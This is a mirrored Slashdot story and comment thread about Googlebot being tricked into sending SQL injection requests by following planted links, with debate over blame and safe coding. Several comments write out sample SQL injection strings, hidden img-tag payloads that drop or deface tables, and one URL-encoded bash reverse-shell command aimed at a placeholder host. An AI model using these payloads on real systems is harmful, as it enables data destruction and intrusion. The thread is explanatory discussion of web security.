Slashdot Mirror


Google Bots Doing SQL Injection Attacks

ccguy writes "It seems that while Google could really care less about your site and has no real interest in hacking you, their automated bots can be used to do the heavy lifting for an attacker. In this scenario, the bot was crawling Site A. Site A had a number of links embedded that had the SQLi requests to the target site, Site B. Google Bot then went about its business crawling pages and following links like a good boy, and in the process followed the links on Site A to Site B, and began to inadvertently attack Site B."

94 of 156 comments (clear)

  1. promo4promo by themushroom · · Score: 1

    Doing a good deed for your competition by linking them from your site, hmm? :)

  2. could not care less by Anonymous Coward · · Score: 5, Informative

    not just "could care less". Sheeesh.

    1. Re:could not care less by Anonymous Coward · · Score: 5, Funny

      Means the same thing irregardless.

    2. Re:could not care less by Anonymous Coward · · Score: 1

      Means the same thing irregardless.

      I see what you did there.

    3. Re:could not care less by Anonymous Coward · · Score: 1

      Means the same thing irregardless.

      Do you mean literally the same, or actually the same?

    4. Re:could not care less by sootman · · Score: 4, Interesting

      It's probably laziness, but it could also be a shortened version of "I could care less, but I'd have to try."

      "Sure as hell" and "sure as shit" have no meaning either, right? How sure is hell, or shit? Those are shortened versions of "as sure as hell is hot" and "as sure as shit stinks". Language happens.

      I'm more concerned with errors on non-idiomatic speech, like "should of" and "could of" instead of "should have" and "could have", "try and" instead of "try to", and #1 on my list, "literally" meaning "figuratively".

      After we sort that out, we can come to an agreement on split infinitives, the Harvard comma, and people whether punctuation that isn't part of a quote should be inside quotation marks or out. :-)

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    5. Re:could not care less by Neil+Boekend · · Score: 2

      It becomes a problem when the literal meaning is the exact reverse of the intended meaning. "Sure as hell" does not have another meaning. For natives that is no problem. Non natives have more trouble with this and I am sure I don't need to remind you that most people do not have English as their mother language.

      In a similar case I actually had a supplier put a line on a quote that translates to: "all products are available from stock if another date is mentioned in the line". What they meant was: "all products are available from stock unless another date is mentioned in the line".

      --
      Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
    6. Re:could not care less by GodGell · · Score: 3, Informative

      I'm more concerned with errors on non-idiomatic speech, like "should of" and "could of" instead of "should have" and "could have"

      THIS, a thousand times this!
      I'm not much of a grammar nazi, as I view communication to be the primarry purpose of text and not syntax... but "should of" actively takes chunks out of my brain every time I read it. It honestly makes me feel like I'm trying to talk to a retard, it just makes so little sense.

      The worst part is, while currently it's almost exclusively native English speakers who make this mistake (which is pretty odd), soon enough people like me who learnt by practice are going to start using it en masse, and then it'll be here to stay (like "could care less" - another one perpetuated by native speakers, btw).

      --
      [SHOW SOME LENIENCY TOWARDS ... I mean, FUCK BETA] Eat. Survive. Reproduce. GOTO 10
    7. Re:could not care less by stealth_finger · · Score: 2

      Actually, since they are there already, crawling it, they really could care less. They could not be there at all, but no. They do care, and are crawling.

      So it was correct to say they could care less.

      Well, the quote says 'could care less about your site'. I doubt google care one iota about most individual sites in isolation. They care a great deal about the web in general to be sure, but if they cared about your site, they'd send a person to look at it rather than an automated crawler.

      --
      Wanna buy a shirt?
      https://www.redbubble.com/people/stealthfinger/shop?asc=u
    8. Re:could not care less by Paradise+Pete · · Score: 1

      What about "try and do something" instead of try to? Seems to me try and is as common as should of.

    9. Re:could not care less by gsslay · · Score: 1

      "Sure as hell" and "sure as shit" have no meaning either, right?

      Well that's the point. Because they are totally meaningless as they stand, you know to look elsewhere to find the meaning. But omitting a "not" does not make "could care less" meaningless. It means something very definite, and the exact opposite of what is intended.

      The idea that it's a shortened version doesn't stand up. It simply isn't said that way with the required intonation or timing. People say it because the phrase has become a meaningless, something said without any thought to what it breaks down to actually meaning. Which is fine, but it leaves you wondering what else are they saying by rote without thinking? It's a good way of encouraging me to ignore you, because I'll never be sure you mean or understand what you are actually saying.

    10. Re:could not care less by RavenLrD20k · · Score: 1

      Except the complaint isn't about how it's spoken. People, out of laziness or ignorance, will actually write the words "should of" because that's how should've sounds to them instead of analyzing what they're trying to say; which apparently takes too long to bother with. Of course, if others want to be lazy and use the wrong phrases and spellings in their communications, who am I to argue? It only makes me look more stellar in my resume causing hiring managers to trip over themselves trying to get to the phone to set up an interview.

    11. Re:could not care less by Pope · · Score: 1

      Let's see if we can't nip these in the bud.

      --
      It doesn't mean much now, it's built for the future.
    12. Re:could not care less by Quirkz · · Score: 1

      Yeah, right. Sure it is.

    13. Re:could not care less by mcgrew · · Score: 1

      I don't so much mind the ones that mark the writer as an idiot* so much as the ones that change the meaning of what the idiot was trying to convey. "Writing in Python will make you loose your mind." Well, isn't setting your mind free a GOOD thing?

      I have to laugh at a post that tries to be erudite by using "whom" (usually incorrectly) but doesn't know the difference between there, their, and they're. Those kinds of aliteracies really slow my reading down.

      As to being native speakers, I corrected a fellow here the other day who I was sure was an idiot American, who it turned out appreciated the education because he wasn't a native speaker. I usually assume that someone who appears aliterate is really simply not a native speaker on slashdot.

      As Twain said, an aliterate has no advantage over an illiterate.

      * I worked with a fellow who wrote a book about his combat experiences in Viet Nam. Educated, intelligent guy, but there was an instance of "should of" in his book... and I assume he had an editor who should have caught it. When I see these mistakes in books, magazines, and newspapers it really does annoy me. "I'm paying for this garbage?" Thankfully I'd only checked it out from the library.

    14. Re:could not care less by GodGell · · Score: 1

      I have to laugh at a post that tries to be erudite by using "whom" (usually incorrectly) but doesn't know the difference between there, their, and they're. Those kinds of aliteracies really slow my reading down.

      Yes, those are probably even worse... It makes me wonder how they were taught to write English. Nowadays you almost semi-automatically pick up on English just by hanging on the Internet a lot of the time, even if you've never met a native English speaker. One would expect grammar to be improved by it as well, but apparently not...

      By the way, I learned two new words from your post, thanks :)

      --
      [SHOW SOME LENIENCY TOWARDS ... I mean, FUCK BETA] Eat. Survive. Reproduce. GOTO 10
    15. Re:could not care less by mcgrew · · Score: 1

      I love using the word "aliterate", people think it's a misspelling.

  3. Uhh... by Anonymous Coward · · Score: 5, Insightful

    If you have http GET requests going (effectively) straight into your database, that's YOUR problem, not Google's.

    1. Re:Uhh... by Anonymous Coward · · Score: 3, Informative

      I whole heartedly agree. Database programming 101: you cannot trust any inputs (user or otherwise). You must assume that any input is malicious and sanitize it as such. Maybe the devs that are researching/complaining about this should consider the target as the problem not the 12,000 different ways to input malicious code.

    2. Re:Uhh... by Salgat · · Score: 1

      You still have to assume we're in a non-ideal world, which is very much true. Suppose there is a way to mitigate this issue on Google's end, is there something wrong with taking action to reduce the amount of attacks, even if the website is at fault?

    3. Re:Uhh... by Anonymous Coward · · Score: 2, Insightful

      Suppose there is a way to mitigate this issue on Google's end, is there something wrong with taking action to reduce the amount of attacks, even if the website is at fault?

      Yes, there is something "wrong"- Google has no idea what is or is not a "malformed" request. You're basically asking Google to sanitize the database input, which is generally not possible if you don't know anything about what the database should or should not accept. adding something along the lines of 'user=root' or 'page=somekindofdata' to a query may be perfectly legitimate for one site, and a massive problem for a different one.

    4. Re:Uhh... by cheater512 · · Score: 1

      The keyword there was "effectively straight".
      There is nothing wrong with having params like that. As long as you escape them properly and have input validation.

      "Effectively straight" in this case means this would work: http://stocksite.com/charts.lol?symbol=GOOG&range=30; DROP TABLE stocks --
      Which is a taboo.

    5. Re:Uhh... by smellotron · · Score: 4, Informative

      As long as you escape them properly

      Friends don't let friends generate dynamic SQL. Please use prepared statements!

    6. Re:Uhh... by Anonymous Coward · · Score: 1

      You must assume that any input is malicious and sanitize it as such.

      Not even that. For many text field, e.g. the Slashdot comment field, SQL statements can be a completely valid input. I coult be explaining to someone how to solve a problem in SQL, or I could be re-posting a "Little Bobby Tables" joke. All very valid, nothing malicious.

      Seeing SQL input (or Javascript, same problem) as malicious results in people writing filters that prevent posting answers to SQL (or Javascript) related questions. Seeing it as valid input that needs to be stored correctly in the database and later shown correctly, leads to code that works as the user would expect.

    7. Re:Uhh... by V+for+Vendetta · · Score: 1

      Not even that. For many text field, e.g. the Slashdot comment field, SQL statements can be a completely valid input. I coult be explaining to someone how to solve a problem in SQL, or I could be re-posting a "Little Bobby Tables" joke. All very valid, nothing malicious.

      I'd say it depends on the page's content. I really can't think of a valid reason for SQL statements or Javascript snippets in pages dealing about celebrity A or pet B or most other fields of interest outside of IT.

    8. Re:Uhh... by Hoch · · Score: 1

      Well, your SQL Database is secure, but you have an overzealous application firewall that starts blocking requests from google because they are sending SQLi and other detritus. Now your site blacklists Bing and Yahoo too. Soon you are out in the internet wilderness because you won't let any of the search engines into your site. Good luck with site promotion.

      --
      2*31*37*263
    9. Re:Uhh... by Salgat · · Score: 1

      That's why I said "if there is a way". Obviously if it isn't feasible then they can't do anything about it.

  4. How is that news? by d33tah · · Score: 2

    How is that news? Zalewski wrote a book on that years ago ("Silence on the wire")

  5. How about Yahoo "bots", Bing "bots" ? by Anonymous Coward · · Score: 5, Insightful

    TFA seems to place all the faults on Google.

    Fact is, Google is not the only one who is crawling the Net. Yahoo does it as well as Bing, among others.

    If the Google "bots" can be tricked into doing the "heavy lifting", so can the Yahoo "bots", Bing "bots", and "bots" from other search engines.

    1. Re:How about Yahoo "bots", Bing "bots" ? by _Sharp'r_ · · Score: 5, Insightful

      Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

      Next you'll be suggesting that you could do that transparently to the user and have their browser re-use their already logged in session on another site to do things with their credentials for you!!!!

      What will they think of next? It's a good thing we have these wonderful stories to explain how this whole web thingy works with all it's links and stuff...

      --
      The party of stupid and the party of evil get together and do something both stupid and evil, then call it bipartisan.
    2. Re:How about Yahoo "bots", Bing "bots" ? by aztracker1 · · Score: 4, Informative

      What's funny is bing has bots that will actually execute and follow through JavaScript requests... last year, I worked to refactor our link structure (normalizing, and reducing variance), this caused a reindex of the site (about 50k urls), however Bing bots went nuts, and because they executed JS, this really affected our unique visitors on our Google Analytics (they don't actually filter bots). It looked like our unique visitors went up by 40% (all from 3 locations, all Microsoft), while our pages per visit plummeted. Bots are necessary, but can be dangerous if you don't account for them.

      --
      Michael J. Ryan - tracker1.info
    3. Re:How about Yahoo "bots", Bing "bots" ? by icebike · · Score: 3, Informative

      Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

      Real people don't have to click that link. Their computers and devices have web browsers that follow links ahead of time to
      improve browsing experience. Chrome calls this "Predict network actions to improve page load performance".

      But such hits would come from a wide variety of IPs, not from Google.

      --
      Sig Battery depleted. Reverting to safe mode.
    4. Re:How about Yahoo "bots", Bing "bots" ? by mysidia · · Score: 1

      Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

      Why not just include an iframe, and have an onload javascript of the parent page navigate the iframe to various links?

    5. Re:How about Yahoo "bots", Bing "bots" ? by Anonymous Coward · · Score: 4, Informative

      No need to use links, either.

      Good old <img src="http://your.site.is/dumb?and=has+sql+injection%22;drop table users;--"/> would work just by visiting the site, as would an iframe, whether browser tries to be smart or not.

    6. Re:How about Yahoo "bots", Bing "bots" ? by Kalriath · · Score: 1, Funny

      You must work for some really shit firms, cause it's a well know fact that what you're saying is bullshit.

      --
      For a site about things like basic rights, Slashdot users sure do like to censor "dissent".
    7. Re:How about Yahoo "bots", Bing "bots" ? by Anonymous Coward · · Score: 1

      Lets see - they impose ZERO load?

      Heres an example of a major one that doesn't.

      Bing doesn't rate limit.
      Bing doesn't obey robots.txt

      http://www.computersolutions.cn/blog/2012/05/msn-bing-crawler-spider-madness/

      They still pull the same shit even now, so fuck bing.

    8. Re:How about Yahoo "bots", Bing "bots" ? by Anonymous Coward · · Score: 1

      I scrolled a couple of pages down, but didn't see any SQL injection attack links. WHAT IS WRONG WITH YOU SLASHDOT?!

    9. Re:How about Yahoo "bots", Bing "bots" ? by someone1234 · · Score: 1

      A DDOS is by definition a distributed denial of service. If it was a deliberate attempt, it would be DDDOS.
      I don't attack Microsoft but let's make sure we use terminology properly.
      It wouldn't be a DDOS for a different reason: a Bing bot would not qualify as distributed.

      --
      Patents Drive Free Software as Hurricanes Drive Construction Industry
    10. Re:How about Yahoo "bots", Bing "bots" ? by ArsenneLupin · · Score: 2

      Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!

      This is actually very useful for more persistent attacks.

      1. Site A and Site B have both SQL injection vulnerabilities
      2. Site A is the real target, and site B is a high traffic site getting lots of visitors
      3. Site B somehow gets an <img width=1 height=1 src="http://www.site-a.com/cms?id=%3Bupdate content set text%3D'%3Cimg src%3D%22http://goatse.fr/hello.jpg%22%3E"--> tag added somewhere in its content
      4. Random visitor visits site B, visitor's browsers attempts to fetch the 1x1 pixel from site A
      5. Site A now looks lots nicer
      6. ... but somehow this does not please site A's administrator, who restores it from backup
      7. Another person visits site B
      8. Site A is again lots nicer
      9. ... but this still doesn't please A's admin, so he goes for another restore from backup
      10. ... and he can't even block the artist's IP because, the well, those IPs are all over the place
      11. ... all the while site B's admin is completely oblivious to the phenomenon, as nobody is going to notice a small 1x1 pixel image, much less complain about it
    11. Re:How about Yahoo "bots", Bing "bots" ? by AliasMarlowe · · Score: 2

      Actually, bingbot is particularly stupid. It has downloaded several zip files of public domain material (each exceeding 1GB with total over 10GB) from our web site at home. It does so about once per month despite the fact that these files are unchanging, instead of merely doing a conditional GET and checking for a 304 return. The various googlebots all do it this way, as do other bots (e.g. docomo, yahoo, yandex).

      We don't yet bar bingbot, but if it starts dowloading several GB at times when other visitors are looking at videos (mostly 720p and 1080p), it will find itself in the wrong part of robots.txt. If I get really irritated, then it will get customized garbage results, just like the ZmEu crap...

      --
      Those who can make you believe absurdities can make you commit atrocities. - Voltaire
    12. Re:How about Yahoo "bots", Bing "bots" ? by KingMotley · · Score: 1

      No, a DoS is a Denial Of Service. DDoS is a Distributed Denial of Service.

    13. Re:How about Yahoo "bots", Bing "bots" ? by AliasMarlowe · · Score: 1

      Actually, bingbot is particularly stupid. It has downloaded several zip files of public domain material (each exceeding 1GB with total over 10GB) from our web site at home. It does so about once per month despite the fact that these files are unchanging, instead of merely doing a conditional GET and checking for a 304 return. The various googlebots all do it this way, as do other bots (e.g. docomo, yahoo, yandex).

      We don't yet bar bingbot, but if it starts dowloading several GB at times when other visitors are looking at videos (mostly 720p and 1080p), it will find itself in the wrong part of robots.txt. If I get really irritated, then it will get customized garbage results, just like the ZmEu crap...

      And you can't just exclude the problem files instead of blocking the whole site?

      Well, yes I could, obviously enough. But then the googlebot and other bots would be handicapped (I expect a change to at least two of those PD zipfiles during 2014). In summary, bingbot does it wrong while other bots do it right. These PD zipfiles are the most egregious examples, but there are also many smaller files where bingbot does it wrongly. So I'm likelier to bar bingbot than to bar other bots or to exclude these specific files.

      As I said, bingbot is earnestly hoping for a customized middle finger instead of getting the entire >100GB site every time it looks. In short, bingbot does it wrongly.

      --
      Those who can make you believe absurdities can make you commit atrocities. - Voltaire
    14. Re:How about Yahoo "bots", Bing "bots" ? by Trogre · · Score: 1

      Look, Steve, I get that you want to push Bing as a viable search engine, but I think you'll find the only place anyone sees the name "Bing" associated with Internet searching is in movies and American dramas.

      --
      "Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
    15. Re:How about Yahoo "bots", Bing "bots" ? by Trogre · · Score: 1

      Interesting, since Yahoo in my locale uses Google. No Microsoft technology in sight.

      --
      "Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
    16. Re:How about Yahoo "bots", Bing "bots" ? by Trogre · · Score: 1

      Why exactly should he go to the ridiculous lengths of explicitly blocking individual items when he can instead wholesale block what is clearly a hostile bot from a search engine nobody uses?

      --
      "Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
    17. Re:How about Yahoo "bots", Bing "bots" ? by _Sharp'r_ · · Score: 1

      Exactly. That's the sort of thing I mean by "transparently to the user". Sorry if my sarcasm was too obscure.

      --
      The party of stupid and the party of evil get together and do something both stupid and evil, then call it bipartisan.
    18. Re:How about Yahoo "bots", Bing "bots" ? by _Sharp'r_ · · Score: 1

      If they know what URL is being called to cause the problem, Site B might be able to figure out Site A from logs for the client's that include the Refer in their request for it, but once they've identified the URL itself, they can just fix the actual vulnerability or block that specific URL with a redirect or something similar.

      Once I found a major party's official state website allowed anyone to post and execute arbitrary PHP with full access via just filling in a comment text field, I stopped being surprised by how clueless people were about configuring their sites...

      --
      The party of stupid and the party of evil get together and do something both stupid and evil, then call it bipartisan.
    19. Re:How about Yahoo "bots", Bing "bots" ? by AliasMarlowe · · Score: 1

      Actually, now that you mention it, I can't find any yahoo bots in recent log files. Perhaps yahoo is also responsible for some of those stupid multi-gigabyte downloads as bingbot.

      --
      Those who can make you believe absurdities can make you commit atrocities. - Voltaire
    20. Re:How about Yahoo "bots", Bing "bots" ? by niftymitch · · Score: 1

      TFA seems to place all the faults on Google.

      Fact is, Google is not the only one who is crawling the Net. Yahoo does it as well as Bing, among others.

      If the Google "bots" can be tricked into doing the "heavy lifting", so can the Yahoo "bots", Bing "bots", and "bots" from other search engines.

      Do not forget the NSA bots. The Chinese NSA equiv bots.
      The French NSA equiv bots....
      The FBI bots....

      --
      Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn't. Mark Twain.
  6. HTTP RFC - Section 9.1 Safe and Idempotent Methods by ChaseTec · · Score: 4, Informative

    In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe".

    --
    My Hello World is 512 bytes. But it's also a valid Fat12 boot sector, Fat12 file reader, and Pmode routine.
  7. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by Anonymous Coward · · Score: 5, Funny

    This is Slashdot. What do we know about GET HEAD methods?

  8. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by Zapotek · · Score: 2

    That doesn't really have much to do with anything, a lot of DB connection/query libraries allow stacked queries to be performed (i.e. more than one queries, separated by ';') so by appending your own SQL query (say, a DELETE one) via a vulnerable input you can still do plenty of damage, even via a GET method.

    TFA isn't newsworthy in my opinion, this has been known for a while now.

  9. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by d33tah · · Score: 2

    The trick is that retrieval can be dangerous by itself if you're using the database and forgot to sanitize your SQL. Being a moron can't be solved by an RFC.

  10. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by ChaseTec · · Score: 4, Interesting

    This is Slashdot. What do we know about GET HEAD methods?

    I was going to say that they return Futurama quotes but then I checked and they are gone. When did that happen?

    --
    My Hello World is 512 bytes. But it's also a valid Fat12 boot sector, Fat12 file reader, and Pmode routine.
  11. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by iONiUM · · Score: 1

    Agreed 100%. This article is blaming Google for admins who had bad site design. Doing a GET should not have done this; it's their fault for embedding bad links in their HTML that is exposed to a crawler.

  12. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by hawguy · · Score: 2

    In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe".

    That's the funny thing about SQL injection attacks - it can turn a SELECT into a DELETE or UPDATE. So you may have *meant* your GET request to be a simple retrieval, but a successful attack could make it do so much more.

    Which is a great segue to the obligatory xkcd comic!

    http://xkcd.com/327/

  13. How would you know if it worked? by SigNuZX728 · · Score: 1

    In the scenario listed, if you were the hacker trying to cover his tracks, how would you ever know if the attack was successful or not?

    1. Re:How would you know if it worked? by Fwipp · · Score: 1

      If your rival's site suddenly had a 99% sale on all products. :)

    2. Re:How would you know if it worked? by gl4ss · · Score: 1

      the site goes down. you can then guess it worked.
      or a port opens at the target host, whatever the attack did.

      as for using it for DOS, the target site doesn't even need to be faulty.

      --
      world was created 5 seconds before this post as it is.
  14. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by postbigbang · · Score: 2

    The problem with this line of thinking is that spiders are only supposed to crawl links. If you use a live link without authentication, shame on you. If you use a query to a db for something like a parts catalog that's capable of r/w, then shame on you. If you tether your logic through a pipe, the pipe needs parser constraints on the query.

    Blaming Google or any other crawler-spider-bot, despite my other distain for Google, is pointing the finger at the wrong culprit. Everyone wants sub-second response times, but if you don't parse, you're a target for all sorts of injection goodies.

    --
    ---- Teach Peace. It's Cheaper Than War.
  15. Skype too by gmuslera · · Score: 5, Interesting

    If Microsoft follows links shown in "private" skype conversations (and probably several NSA programs too) they could be used to attack sites this way. Could be pretty ironic to have government sites with their DBs wiped from a SQL attack coming from an NSA server.

  16. Heard this before by Whatsisname · · Score: 1

    I vaguely recall an article years ago on something like TheDailyWtf where some idiot webmaster wrote a web application with links instead of buttons to perform tasks, and was confused why his site and data was getting trashed repeatedly, until he figured out it was the crawling bots.

    This is nothing new: unskilled developers using the wrong methods and getting burned.

    1. Re:Heard this before by PRMan · · Score: 1

      And there was a DailyWTF article where he couldn't publish because you could literally put people on a state's Megan's Law sex offender database list by changing the query used on the site.

      --
      Peter predicted that you would "deliberately forget" creation 2000 years ago...
  17. Lies, Damn Lies! by Gravis+Zero · · Score: 1

    What is going on?
    It seems that while Google could really care less about your site and has no real interest in hacking you, their automated bots can be used to do the heavy lifting for an attacker.

    no, what's really happening is someone posted an injection url on a forum somewhere and googlebot ran across it. come on, google bot hasn't become sentient or som-SORRY THIS POST WAS A MISTAKE DISREGARD ALL INFORMATION.

    --
    Anons need not reply. Questions end with a question mark.
  18. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by Zapotek · · Score: 2

    I'm not sure to which line of thinking you're referring, both myself and the GP just posted a technical remark each. Also (to my great joy and surprise) no-one is blaming Google (at least not yet) and rightly so.

    As for the back-end countermeasures you described, you are of course spot on, however it's safe to assume that if you're vulnerable to something as trivial and mundane as SQL injection, you won't have the required foresight to setup and use different DB roles, each with the absolutely least privs for the queries you expect to perform through them.

  19. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by postbigbang · · Score: 1

    Yes, we agree; it's the problem with blaming Google, and affirmation of the sillyness. In my mind, which didn't get presented, and I apologize, is that query code has become awful, let-me-count-the-ways.

    Further, when I'm forced, to, looking at page code makes me reel with revelation of the mindset of cut-and-paste APIs glued with mucilage (if it's that good). Everyone else now is to blame, not the moshpit of ducttaped code. Sorry, bad rant on a bad day.

    --
    ---- Teach Peace. It's Cheaper Than War.
  20. reminds me of someone from irc... by AndroSyn · · Score: 2

    This guy(who I won't name, you know who you are), was once writing some PHP code for some webapp. Well in app, he had some delete links and he hadn't finished the authentication code apparently, so googlebot crawled is site, followed all of the delete links and completely wiped out his database.

    Of course, you can keep googlebot away from your crappy code with robots.txt too...

  21. Read RFC 2616: Safe and Idempotent Methods .. by codeusirae · · Score: 2

    'Someone failed at the most basic level here and it wasn't Google. From RFC 2616 (HTTP) Section 9.1 Safe and Idempotent Methods - "In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe"."`, Matthieu Heimer

    1. Re:Read RFC 2616: Safe and Idempotent Methods .. by Qzukk · · Score: 1

      I don't get it. What's unsafe about "select * from catalog where id=".$_GET["id"]?

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    2. Re:Read RFC 2616: Safe and Idempotent Methods .. by Bengie · · Score: 1

      Separate your commands from your inputs. The query sent to the DB should never change, only the parameters; and the parameter values should never be part of the query.

    3. Re:Read RFC 2616: Safe and Idempotent Methods .. by dkleinsc · · Score: 2

      I can't tell if you're serious, so I'm going to act like you are in case you or some other reader doesn't understand the problem:
      In the URL that you'd be using to hit that page, change the "id=42" or whatever you have there to "id=0 OR 1=1". Poof, your page is now reading the entire catalog in rather than the single record you wanted to. Hit that fast enough, and if that catalog is large enough, and the bad guy may have just brought your nice database server to a screaming halt as it loads up 300 million records multiple times every second.

      Or, if you're really not careful, a black-hat can use that to start pulling out whatever they want out of your database: usernames, passwords (hashed, but bad guy can crack 1-way hashes relatively quickly if it's useful to do so)

      --
      I am officially gone from /. Long live http://www.soylentnews.com/
    4. Re:Read RFC 2616: Safe and Idempotent Methods .. by mysidia · · Score: 1, Funny

      I don't get it. What's unsafe about "select * from catalog where id=".$_GET["id"]?

      Dude... you forgot to encrypt your databases.... it should be

      $catalogname = str_rot13('catalog'); $idname = str_rot13('id');

      $id = str_replace(';', '', $id, ); ... "select * from $catalogname where $idname=".$id

      Make sure to insist that register_globals is set to On in the PHP settings for the web server.

    5. Re:Read RFC 2616: Safe and Idempotent Methods .. by scdeimos · · Score: 1

      Assuming you're actually serious, what happens when your page is requested with: ?id=0;%20drop%20table%20catalog;

      Suddenly your query gets transformed to: select * from catalog where id=0; drop table catalog;

    6. Re:Read RFC 2616: Safe and Idempotent Methods .. by Megane · · Score: 1

      Because Little Bobby Tables.

      http://your.site/dumbass.php?id=10; DROP TABLE catalog; --

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
  22. Did anybody read TFA? by ghn · · Score: 4, Interesting

    The point is not that you can attack lousy website using GET requests. The idea is that HTTP firewalls shoud not blatlantly white-list google bots and other website crawlers in the sake of SEO optimization, because google bot will follow malicious links from other website..

    So lets say you have a filter with rules that prevent common SQL injections in GET requests parameters, this is a weak security practice but can be useful to mitigate some 0-day attacks on vulnerable scripts. This protection can be by-passed IF you white-listed google bot.

  23. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by viperidaenz · · Score: 2

    If you want more performance, you should be using prepared statements and statement caching, not string concatenation to construct your queries.
    Then you don't need to waste CPU time and memory escaping input data.

  24. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by viperidaenz · · Score: 2

    It's not the admins of the sites embedding the links that are the problem. They're they attackers. The fault lies with the admins of the sites the links point to.

  25. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by viperidaenz · · Score: 1

    Does it? The ajax requests slashdot uses make POST requests, not GET.

    Anything handling a GET request shouldn't be using a database connection with delete, insert or update grants.

  26. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by mysidia · · Score: 1

    so by appending your own SQL query (say, a DELETE one) via a vulnerable input you can still do plenty of damage, even via a GET method.

    That would be a bug in the application.

    The HTTP spec doesn't let you say what could happen if there's a bug in the application. It could be designed so that all GETs are idempotent operations, but due to a bug they are not.

    For all I know; if there's a bug in the application adding ?X=FOOBAR&do=%2Fbin%2Fbash%20-i%20%3E%2Fdev%2Ftcp%2Fwww.example.com%2F80%200%3C%261%202%3E%261 to the get string will drop me a shell; which is decidedly non-idempotent.

  27. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by Zapotek · · Score: 1

    I'd say that since half of the subject of this discussion is about SQL injection, the webapps in question are axiomatically buggy.

  28. Really? by msobkow · · Score: 1

    So if you litter a page with malicious links, the attacks will look like they're coming from Google's servers.

    That's kind of cool, actually.

    I'd laugh my head off if Google were subsequently flagged as a malicious site. I *hate* bots.

    --
    I do not fail; I succeed at finding out what does not work.
  29. I had that happen to me once. by sootman · · Score: 2, Interesting

    When I first started doing web apps, I made a basic demo of a contacts app and used links for the add, edit, and delete functions. One day I noticed all the data was gone. I figured someone had deleted it all for fun so I went in to restore from a backup and decided to look at the logs and see who it was. It was googlebot -- it had come walking through, dutifully clicking on every "delete" and "are you sure?" link until the content was gone.

    (I knew about when to use GET versus POST -- it was just easier to show what was happening when you could mouse over the links and see the actions.)

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  30. The core of the matter. by ttucker · · Score: 1

    Someone wrote a terrible web app, it could be attacked with simple GET requests. Someone else made those requests, but it was still a terrible web app. Nobody cares.

    1. Re:The core of the matter. by Megane · · Score: 1

      Someone wrote a terrible web app, it could be attacked with simple GET requests. Someone else made those requests, but it was still a terrible web app. And nothing of value was lost.

      FTFY.

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
    2. Re:The core of the matter. by ttucker · · Score: 1

      Someone wrote a terrible web app, it could be attacked with simple GET requests. Someone else made those requests, but it was still a terrible web app. And nothing of value was lost.

      FTFY.

      I do like that better. Thank you.

  31. Poor websites by Stonent1 · · Score: 1

    You'd have thought they learned their lesson when dealing with Bobby Tables, aka "Robert'); DROP TABLE Students;

  32. You're holding it wrong by Anonymous Coward · · Score: 1

    If you think you need "a filter with rules that prevent common SQL injections in GET requests parameters", then you're doing something wrong.

    I know, I know -- protection in depth and all that. But some things are just too fucking ugly to even think of them. Ugh

  33. Could care less? by stealth_finger · · Score: 2

    So they do care a bit then?

    The Caring Continuum - http://incompetech.com/Images/caring.png

    --
    Wanna buy a shirt?
    https://www.redbubble.com/people/stealthfinger/shop?asc=u
  34. Don't blame Google by joni2back · · Score: 1

    In several cases, the SQLi target was posted in a hacking forum, blog or exploit site, then Google bots perform a request to the link and indexes it (title, content).

  35. Paramaterize SQL? by sadler121 · · Score: 1

    My god, it's 2013 and where talking about SQL injection? If your not parameterizing your sql, your doing it wrong.

  36. The correct phrase is... by gerardrj · · Score: 1

    "couldn't care less"
    If you could care less it would not really be worth mentioning.

    --
    Article X: The powers not delegated... by the Constitution...are reserved...to the people
  37. HTML verbs by izzo+nizzo · · Score: 1

    Even if you don't bother to edit your robots.txt file, I believe you can curtail this phenomenon by using POST rather than GET for links that change data

  38. Re:HTTP RFC - Section 9.1 Safe and Idempotent Meth by hawguy · · Score: 1

    It's great that you and the other AC can describe programming best practices. Sounds like you've singlehanded solved the problem of bad programming. Now if you can just go back and fix up the millions of vulnerable sites, the world will be a better place.

    Thank you.

  39. a more elegant solution? by almechist · · Score: 1

    I agree, "should of" must be avoided at all cost. He coulda used "shoulda" instead of "should of", it's a much more elegant solution.

    And before anyone gets started, yes, the damn punctuation should go outside the quotation marks, because that's where logic (not to mention everyone outside of America) requires it to be! Deal with it.